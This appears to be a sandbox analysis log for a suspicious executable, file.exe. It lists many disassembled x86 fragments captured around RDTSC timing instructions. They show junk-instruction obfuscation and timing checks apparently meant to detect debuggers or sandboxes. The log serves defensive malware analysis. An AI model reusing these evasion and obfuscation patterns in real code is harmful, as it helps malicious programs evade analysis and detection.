Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF925 second address: 8BF9DF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F00DC7AD959h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F00DC7AD948h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D3CD3h] 0x00000033 mov ecx, 1E53958Fh 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D26AAh], edi 0x00000040 push 05193CCBh 0x00000045 jmp 00007F00DC7AD955h 0x0000004a xor dword ptr [esp], 05193C4Bh 0x00000051 movzx edi, ax 0x00000054 push 00000003h 0x00000056 mov esi, dword ptr [ebp+122D1C2Ch] 0x0000005c push 00000000h 0x0000005e or dword ptr [ebp+122D2645h], esi 0x00000064 push 00000003h 0x00000066 mov edx, 71F1A048h 0x0000006b call 00007F00DC7AD949h 0x00000070 jmp 00007F00DC7AD94Fh 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 jmp 00007F00DC7AD94Ah 0x0000007e pushad 0x0000007f popad 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF9DF second address: 8BFA22 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00DD5CA018h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F00DD5CA01Dh 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jno 00007F00DD5CA018h 0x0000001c jnc 00007F00DD5CA01Ch 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F00DD5CA018h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA22 second address: 8BFA46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007F00DC7AD946h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push edi 0x0000000e add dh, 00000061h 0x00000011 pop edx 0x00000012 lea ebx, dword ptr [ebp+12453522h] 0x00000018 jp 00007F00DC7AD946h 0x0000001e push eax 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA46 second address: 8BFA4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA4A second address: 8BFA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E08DC second address: 8E08E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0BEA second address: 8E0C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F00DC7AD94Bh 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e jo 00007F00DC7AD94Ah 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0C0E second address: 8E0C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0C12 second address: 8E0C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD953h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F00DC7AD959h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0C4A second address: 8E0C50 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E136E second address: 8E1372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1372 second address: 8E1399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F00DD5CA016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F00DD5CA027h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1399 second address: 8E13C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD952h 0x00000007 jmp 00007F00DC7AD956h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E152E second address: 8E1532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2BEE second address: 8B2C26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F00DC7AD96Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2C26 second address: 8B2C31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F00DD5CA016h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2C31 second address: 8B2C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F00DC7AD946h 0x0000000d jmp 00007F00DC7AD952h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1E6B second address: 8E1E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F00DD5CA027h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2196 second address: 8E219D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E231F second address: 8E2333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F00DD5CA01Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2333 second address: 8E2338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2338 second address: 8E237A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Ch 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F00DD5CA027h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F00DD5CA016h 0x00000019 jmp 00007F00DD5CA020h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E72AA second address: 8E72C4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F00DC7AD94Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E72C4 second address: 8E72C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E755F second address: 8E7569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC330 second address: 8EC349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F00DD5CA025h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECB2A second address: 8ECB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECB30 second address: 8ECB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F00DD5CA01Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F023D second address: 8F0243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F02D8 second address: 8F02E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F02E7 second address: 8F0323 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F00DC7AD948h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F00DC7AD959h 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jc 00007F00DC7AD950h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0323 second address: 8F0330 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0330 second address: 8F0334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0334 second address: 8F0380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F00DD5CA01Dh 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F00DD5CA018h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D1895h], esi 0x00000031 push 7FADA08Bh 0x00000036 pushad 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0380 second address: 8F038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06FA second address: 8F06FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0816 second address: 8F081B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F110E second address: 8F1119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F1119 second address: 8F1122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F34B8 second address: 8F3514 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DD5CA018h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007F00DD5CA020h 0x00000013 nop 0x00000014 xor esi, dword ptr [ebp+122D1B66h] 0x0000001a push 00000000h 0x0000001c call 00007F00DD5CA01Ah 0x00000021 pop esi 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007F00DD5CA018h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e sub si, 1B3Ch 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F2CC8 second address: 8F2CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3514 second address: 8F351F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F00DD5CA016h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F2CCD second address: 8F2CD2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F351F second address: 8F354F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00DD5CA020h 0x00000008 jmp 00007F00DD5CA01Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F00DD5CA028h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F49EE second address: 8F4A09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00DC7AD956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4A09 second address: 8F4A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007F00DD5CA023h 0x0000000e push edx 0x0000000f jmp 00007F00DD5CA01Bh 0x00000014 pop edx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F00DD5CA018h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 jg 00007F00DD5CA01Ch 0x00000036 push 00000000h 0x00000038 movsx esi, di 0x0000003b push 00000000h 0x0000003d mov esi, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4A5E second address: 8F4A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F5C71 second address: 8F5C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9C17 second address: 8F9CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD958h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F00DC7AD948h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push ebx 0x00000027 pushad 0x00000028 jmp 00007F00DC7AD950h 0x0000002d mov esi, dword ptr [ebp+122D1F02h] 0x00000033 popad 0x00000034 pop ebx 0x00000035 push ecx 0x00000036 mov bx, 7CA0h 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F00DC7AD948h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 mov bx, si 0x0000005a push 00000000h 0x0000005c mov edi, dword ptr [ebp+122D3BF7h] 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jne 00007F00DC7AD94Ch 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FABF8 second address: 8FABFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBBF4 second address: 8FBC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F00DC7AD955h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBC11 second address: 8FBC15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBC15 second address: 8FBC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FCBF0 second address: 8FCC55 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F00DD5CA018h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 pushad 0x00000026 clc 0x00000027 mov cx, dx 0x0000002a popad 0x0000002b push 00000000h 0x0000002d sub dword ptr [ebp+122D25DFh], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F00DD5CA018h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f or ebx, dword ptr [ebp+122D3C03h] 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FCC55 second address: 8FCC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9E87 second address: 8F9EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBE43 second address: 8FBE4D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9EA8 second address: 8F9EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDE4F second address: 8FDE59 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DC7AD94Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFD83 second address: 8FFD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFD87 second address: 8FFD8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900E17 second address: 900EA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F00DD5CA025h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2673h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F00DD5CA018h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 cmc 0x00000031 jmp 00007F00DD5CA01Dh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F00DD5CA018h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 mov dword ptr [ebp+1247BF1Dh], edi 0x00000058 xchg eax, esi 0x00000059 jo 00007F00DD5CA028h 0x0000005f push eax 0x00000060 push edx 0x00000061 jo 00007F00DD5CA016h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900EA4 second address: 900EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 903D33 second address: 903D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904C96 second address: 904C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904C9D second address: 904CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904CB8 second address: 904CCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904CCE second address: 904D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007F00DD5CA025h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F00DD5CA018h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D2EDAh], ecx 0x0000002e push 00000000h 0x00000030 jmp 00007F00DD5CA01Ah 0x00000035 xchg eax, esi 0x00000036 jmp 00007F00DD5CA023h 0x0000003b push eax 0x0000003c push ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904D38 second address: 904D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904D3C second address: 904D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905CAB second address: 905CC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD957h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E88 second address: 904E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E8E second address: 904E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E92 second address: 904EA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F00DD5CA016h 0x00000012 rdtsc
